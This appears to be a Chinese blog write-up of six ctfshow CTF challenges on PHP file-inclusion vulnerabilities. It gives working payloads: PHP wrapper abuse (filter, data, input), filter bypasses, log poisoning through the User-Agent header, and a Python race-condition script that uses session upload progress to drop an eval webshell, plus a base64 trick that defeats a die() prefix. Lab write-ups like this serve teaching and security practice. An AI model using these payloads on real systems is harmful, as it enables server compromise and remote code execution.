文件包含漏洞总结

        文件包含漏洞一般包括三种,第一种为无过滤或者少过滤,这种可以用php伪协议,filter、data、input等。

        这里举几个ctfshow的例子。

        第一题:没有对file进行任何过滤,直接用伪协议

可以用php://filter/read=convert.base64-encode/resource=flag.php(这里文件名是猜的),我们先看看结果有没有flag.php吧.

可以看到,我们的运气不错,接下来只需要解码就可以了。

再来,我们也可以用data://text/plain,<?php system('tac f*.php'); ?>,我是比较倾向于这种的,比起猜flag的文件名,我更喜欢用data来直接执行语句,这里看一下data的结果:

直接出flag,当然也可以用input,后面的题会用到,这里就不说了。

        第二题:

可以看到,php直接被替换掉了,如果被替换为空字符,我们就可以考虑双写绕过了,但是这里替换为???,这我们就没办法了,这样一来,伪协议就只剩下data可以用了,参照第一题,data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7ICA+

我们把命令编码为base64即可,看一下结果:

这里php被过滤了,我们可以用大写试一下,

data://text/plain,<?Php system('tac f*'); 

也是成功绕过了,我们可以再试一试把php改为\x的十六进制形式行不行.

data://text/plain,<?\x70\x68\x70 system('tac f*');

没有答案,并没有执行,那我们试一下在input中这种方法可不可行,打开burpsuite,

依旧不行,这里这个问题可以先留一下吧,按理说php解释器是会识别这种写法的...

        第三题:

data都被直接过滤掉了,那我们肯定不能使用data伪协议了,当然这里filter、input也不好使,因为php也被过滤了,这里突然想到伪协议的php://这里换成大写行不行,我就去第一题的靶场里试了一下,结果可以!

         那么这里,我们就可以使用input协议了,filter依旧不好使,因为resource=xxx.php这里php没法换成大写,肯定绕不过去,所以我们使用input协议,打开burpsuite抓包。

这里我们直接把GET换成POST,在数据部分写入php代码即可(不知道为什么,这里直接换就可也,有的题要右击选择change method才可以,这里我们使用右击换方法的话,反而不行),input会把我们在数据部分输入的当作php代码执行:

可以看到,再次成功拿到了flag,进入下一题。

        第四题:这道题就需要用到日志文件了。

可以看到,连冒号都被过滤掉了,这样的话所有伪协议都没法用了,这里可以考虑利用或者包含日志文件。何谈利用?即我们把php语句写入日志文件,这个语句可以生成新的PHP文件,里面有我们的小马,这样我们就创造出了文件进行包含。那么包含,就是直接将php语句写入日志文件,进行包含执行,只是不知道行不行得通,初步有这两种想法。

当我们访问成功,或者访问失败了,日志文件都会有记录,一些没有经过严格处理的文件,会将http请求头中的User-Agent字段中的信息写入其中,如果不对UA字段进行过滤,那么我们利用改包,就可以在UA中写php语句了。这里,我们先试试包含日志文件吧:

        打开burpsuite,file随便传一个参数,错误也没关系,只不过要在burp里把UA改一下,

可以看到UA中加入了php语句,那么接下来我们包含日志文件试试,这里日志文件的路径一般为:

/var/log/nginx/access.log:

成功了,说明上述猜想是正确的,接下来上小马+蚁剑即可。

         第五题:

这里连点都过滤了,说明日志文件也没法包含了,利用日志文件方法创建新文件的方法也不行,逃不过点的过滤,这里介绍一种新方法:session文件的方法。

        这个方法的前置知识有点多,接下来一一介绍。

我们知道,session一般都会存在服务中,session文件的默认路径有以下几种:

PHPSESSID就是服务器分配给客户端的sessionid,每次传输,客户端将它放在cookie中,证明自己的身份以及简化自己的cookie内容。

这里我们做题时,并没有发现cookie和sessionid,这说明靶场那边可能没有开启session服务,即没有session_start()这个函数。

        当然,如果我们发现了session开启,我们要如何攻击呢?

        如果某个服务器存在session包含漏洞,要想去成功的包含利用的话,首先必须要知道的是服务器是如何存放该文件的,只要知道了其命名格式我们才能够正确的去包含该文件。

session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到。

我们只需要查看cookie中的phpsessid,我们也就知道了session文件的名字,接下来找到漏洞在session文件中写入php语句再包含即可。

        在这题中,并没有开启session,这个时候我们就要想想系统内部本身有没有什么地方可以直接帮助我们产生session并且一部分数据是用户可控的:

        想要具体了解session信息就要熟悉session在系统中有哪些配置。默认情况下,session.use_strict_mode值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=Qftm,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_Qftm

        session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(该变量的值用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。(这也是我们将php语句写入session文件的关键)        

        这样,我们模拟文件上传,POST PHP_SESSION_UPLOAD_PROGRESS变量,其中,变量的值为php语句,而我们又知道session文件的名字(这里不好用,下一段给出原因)或者直接利用写入session文件的语句创造新的文件,在其它文件中写入小马,再连蚁剑,这样的话就不用去包含了,也就避免了那么多的过滤条件。

        但是,一旦文件上传成功,session文件就会立刻消失,毕竟这是用来查看上传进度的,那么这时候就需要竞争。创建几个线程一起上传,在不听的循环进行包含session文件,赶在session文件没消失前创造新的php文件,并写入小马,才可以。这里需要写一个脚本:

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://b1f5b21a-06da-4f03-b9f2-d91ab67f6966.challenge.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"\x3c?php phpinfo();fputs(fopen('shell.php','w'),'\x3c?php @eval($_POST[cmd])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'http://b1f5b21a-06da-4f03-b9f2-d91ab67f6966.challenge.ctf.show/?file=/tmp/sess_'+sessid)
#这里是包含的过程,也就是php语句在临时session文件中执行的过程,也即生成我们最终要包含的php文件的过程
#/ var / lib / php / sess_PHPSESSID
#/ var / lib / php / sessions / sess_PHPSESSID
#/ tmp / sess_PHPSESSID
#/ tmp / sessions / sess_PHPSESSID
if 'flag' not in response.text:
#这里我们在session文件中写入了Phpinfo(),如果这个成功也就是说有'flag'这个字符串,那么说明我们也成功生成了shell.php
print('[+++]retry')
else:
print(response.text)
sys.exit(0)#终止脚本

with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
#搞几个线程一起POST形成竞争,防止一POST就上传txt成功,导致session文件内容一下就没了,这样就没法在read中get到,也就没法包含了
t1.daemon = True
t1.start()
READ(session)#这里因为读文件上传进度中有循环,直接调用即可,这里不需要竞争

        运行完毕连接蚁剑即可。

         第六题:

首先,分以下代码,我们可以看到file依旧做了很多处理,但是content参数并没有任何过滤,最后需要将我们POST的content和<?php die();?>连接在一起写入file传的文件当中,并且file这里是先url解码后再传入,那我们在传值的时候要进行两次url编码,浏览器会解码一次,到了这里会再解码一次。

        我们想要得到flag,必须从content下手,这里是我们写入php语句的切入点,可它前面偏偏加入了<?php die();?>这样一句死亡语句,我们想要想办法把它弄掉。

        这里我们需要用到php的为协议filter,即过滤器。我们在读取源码时常用到它,这里不考虑过滤,我们会这样:?file=php://filter/read=convert.base64-encode/resource=xxx.php,这样我们就会读取xxx.php的源码以base64的形式给我们。

        这道题,我们需要写入内容我们可以这样,?file=php://filter/write=convert.base64-decode/resource=1.php,再把它进行两次url编码,这样就可也绕过对file进行的所有过滤,这是因为后面还有一次解码。 这时<?php die();?>就会以base64解码的形式写到新创建的1.php中,当然还有我们所控制的content变量,这时我们只需要将<?php @eval($_POST['cmd']); ?>进行base64编码后赋给content变量即可,这样写进去就是原php语句了。

        不过,这样做需要一个小细节,那就是base64编码的原理:

base64编码是将很多不可见字符编码成可见字符的(在base64中有64种字符),解码时遇到不在这64个字符的字符,就会自动跳过。

对于<?php die();?>,它只会解码phpdie和我们传入的php语句的base64编码形式,我们必须要保证phpdie自己成功解码,不要利用到我们后面传进来的content内容,否则php语句可能会失效,接下来又不得不提到base64的原理了。

        因为base64算法解码时是4个byte一组,这四个被编码后的字符都是由6个比特表示的,这也是为什么时64个符号,一共只用6bit表示。4x6=24,24÷8=3,正好解码为三个字符,所以这里phpdie需要再补两位,才能完整解码,但是补的这两位不能时我们传入的php语句解码内容,所以我们自动补aa即可。

        

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值